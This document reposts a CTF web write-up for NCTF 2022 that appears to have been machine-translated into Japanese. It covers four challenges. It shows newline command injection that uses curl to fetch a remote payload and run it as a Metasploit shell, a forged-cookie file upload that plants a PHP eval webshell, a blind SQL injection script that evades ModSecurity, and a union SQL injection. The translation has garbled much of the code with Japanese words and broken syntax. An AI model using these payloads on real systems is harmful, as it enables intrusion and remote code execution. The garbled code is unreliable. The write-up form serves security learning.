Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86384070

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1.calc

質問アドレス:http://116.205.139.16633608001/

右クリック /ソースソースコード

@app.route( '/calc'、method=['get'])

def calc():

ip=request.remote_addr

num=request.values.get( 'num')

log='echo {0} {1} {2} ./tmp/log.txt'.format(%歳〜m%m%M%S',time.localime())、num)

WAF(num):の場合

try:

data=eval(num)

os.system(log)

:を除く

合格

str(データ)を返す

else:

「waf !」を返します

フラスコエラーは、WAFのフィルタリングルールを確認するために報告できます

http://162.14.110.241:8050/calc?num []=

def waf(s):

blacklist=['import'、 '('、 ')'、 '#'、 '@'、 '^'、 '$'、 '、' '?'、 '`'、 ' '、' _ '、' | ';'; '、' '、' '、' '、{'、 '}'、 ''、 '' '、' getattr '、' os '、' system '、' class '、' subclasses '、mro'、 'request'、 'args'、 'eval'、 'if'、 '' subprocess '、' 'file'、 'oppen'、 '' '' '' '' '' '' '' '' '' '' '' 'popen builtins '、' compile '、' execfile '、' from_pyfile '、' config '、' local '、' self '、' item '、' getItem '、' getattribute '、' func_globals '、' __ in exattribute '、' join '、' __ dict__ ']]

flag=true

BlackList:ではありません

s.lower():のno.lower()の場合

flag=false

印刷(いいえ)

壊す

フラグを返します

試した後、私はnumを操作し、%0aを使用して異なるコマンドを分離することができることがわかりました。

次に、ステートメントはeval(num)によって正常に実行される必要があることに注意してください。それ以外の場合は、os.system(log)にジャンプしないことに注意してください。解決策は、コマンドを単一の引用で包むことです。

/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a

バックテックはエコーを引き出すのは簡単ではないので、私は単にカールを使用してペイロードをダウンロードし、MSFでオンラインになります

/calc?num=%0a'curl'%09'http://x.x.x.x:yyy/testapp'%09'-o'%09'/tmp/testapp'%0a

/calc?num=%0a'chmod '%09'777'%09 '/tmp/testapp'%0a

/calc?num=%0a '/tmp/testapp'%0a

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031408772.png

2.ez_php

質問アドレス:http://81.70.155.160/

ayacms githubアドレス

https://github.com/loadream/ayacms

問題には多くの脆弱性がありますが、バックグラウンド/フロントデスクにログインする必要があります

バックグラウンドadmin.phpは弱いパスワードを試しましたが失敗し、フロントデスクが登録できませんでした.

そこで、コード監査のためにソースコードを直接ダウンロードしてから、1日のほとんどを視聴しました

ソースコードの多くの場所が定義されています( 'in_aya')またはexit( 'アクセス拒否');つまり、直接アクセスすることはできず、IN_aya定数を定義した他のPHPファイルを介して含めるまたは必要とする必要があります。

この考え方は、ファイルに含まれる脆弱性を見つけることに変換されます

私は長い間探してきましたが、 /ya /admin.inc.phpで場所を見つけました

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031946153.png

get_cookieはAYA_プレフィックスでCookie値を取得し、Decryptは対応する暗号化機能のソースコードを見つけることもできます。

暗号化中のaya_keyは、デフォルト値AAAです

ファイルが含まれた後、アイデアははるかに広くなり、それを既知の脆弱性と組み合わせます

https://github.com/loadream/ayacms/issues/3

ペイロード

?php

関数ランダム($ length=4、$ chars='abcdefghijklmnopqrstuvwxyz'){

$ hash='';

$ max=strlen($ chars)-1;

for($ i=0; $ i $ length; $ i ++){

$ hash。=$ chars [mt_rand(0、$ max)];

}

$ hashを返します。

}

function kecrypt($ txt、$ key){

$ key=md5($ key);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ txt [$ i]^$ key [$ ctr ++];

}

$ strを返します。

}

function encrypt($ txt、$ key=''){

$ keyまたは$ key='aaa';

$ rnd=random(32);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ rnd [$ ctr]。($ txt [$ i]^$ rnd [$ ctr ++]);

}

return str_replace( '='、 ''、base64_encode(kecrypt($ str、$ key)));

}

echo necrypt( './module/admin/fst_upload');

HTTPパッケージ

post /aya/admin.inc.php http/1.1

HOST: 81.70.155.160

Content-Length: 244

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: null

Content-Type: MultiPart/Form-Data;境界=--- webkitformboundarykhsd4wq8ubmzcnd1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36 edg/107.0.1418.6222

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6

cookie: aya_admin_lang=qwwpiaj9eitzzeeoqwtyofa0dcuamfttv2anpbulrmfnkbrmfteqg1zxtdfaaveyqymwda

Connection:閉じます

----- webkitformboundarykhsd4wq8ubmzcnd1

content-disposition: form-data; name='upfile'; filename='xzxz123123123.php'

Content-Type:アプリケーション/Octet-Stream

?php eval($ _ request [1]); phpinfo();

----- webkitformboundarykhsd4wq8ubmzcnd1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031953539.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031954835.png

3.ezbypass

ヒントヒントwafはmodsecurityです

タイトルアドレス:http://162.14.110.241:8099/sql.php http://121.37.11.207:8099/sql.php

オンラインで参照記事を見つけました

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

残りはスクリプトを使用してペイロードを直接追跡することです。質問にプロンプトが私のパスワードを見つけることができるので、パスワード列のコンテンツを推測してください。

リクエストをインポートします

インポート時間

flag=''

i=1

true:

min=32

max=127

最小max:

time.sleep(0.08)

mid=(min + max)//2

印刷(chr(mid))

payload='if(ascii 1.e(substring(1.e(users.info)、{}、1)){}、1,0)'。形式(i、mid)

url='http://162.14.110.241:8099/sql.php?id={}'。形式(ペイロード)

res=requests.get(url)

res.text:の「letian」の場合

min=Mid + 1

else:

max=mid

flag +=chr(min)

I +=1

print( 'found'、flag)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212032123517.png

4.ez_sql

質問アドレス:http://81.70.155.16033603000/https://NCTF.H4CK.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip

タイトルの説明はソースコードを示します

app.js

Import {Application、Router、Helpers} from 'https://deno.land/x/oak/mod.ts';

'./db.js'からのインポートフライト;

const app=new Application();

const router=new Router();

router.get( '/'、async(ctx)={

ctx.response.body='フライトをチェックしてください `/flight?id=`';

});

router.get( '/flight'、async(ctx)={

const id=helpers.getquery(ctx、{mergeparams: true});

const info=await flight.select({leavess: 'departing'、destination: 'destination'})。where(id).all();

ctx.response.body=info;

});

app.use(router.routes());

app.use(router.allowedMethods());

app.listen({port: 3000、hostname: '0.0.0.0'});

db.js

'https://deno.land/x/denodb@v1.0.40/mod.ts'から{dataTypes、database、model、sqlite3connector}をインポート

const connector=new sqlite3connector({

filepath: '/tmp/flight.db'

});

const db=new Database(connector);

クラスフライトはモデルを拡張します{

静的テーブル='Flight';

静的フィールド={

ID: {PrimaryKey: true、autoincrement: true}、

Department: Datatypes.String、

Destination: datacypes.string、

};

}

クラスフラグはモデルを拡張します{

静的テーブル='flag';

静的フィールド={

flag: datatypes.string、

};

}

db.link([flight、flag]);

await db.sync({drop: true});

flight.createを待っています({

部門:「パリ」、

Destination: '東京'、

});

flight.createを待っています({

部門: 'ラスベガス'、

Destination: 'ワシントン'、

});

flight.createを待っています({

部門:「ロンドン」、

Destination: 'サンフランシスコ'、

});

flag.createを待っています({

flag: deno.env.get( 'flag')、

});

デフォルトフライトをエクスポートします

hack.lu 2022 foodapiとほぼまったく同じ、参照記事は次のとおりです

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98

https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436

唯一の違いは、元の質問IDがRESTFUL APIフォームを使用しているのに対し、この質問はパラメーターに渡されるため、直接コピーすることはできません

ただし、記事で分析された原則を見ると、このアイデアはパラメーターを使用してSQLステートメントをスプライスすることであることがわかります。

http://81.70.155.160:3000/flight?id=1?=aおよび0ユニオン選択フラグ、2から2。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212041449665.png

添付ファイルのダウンロード:https://github.com/x1ct34m/nctf2022

元のテキストの転載:https://EXP10IT.CN/2022/12/NCTF-2022-web-writeup/#calc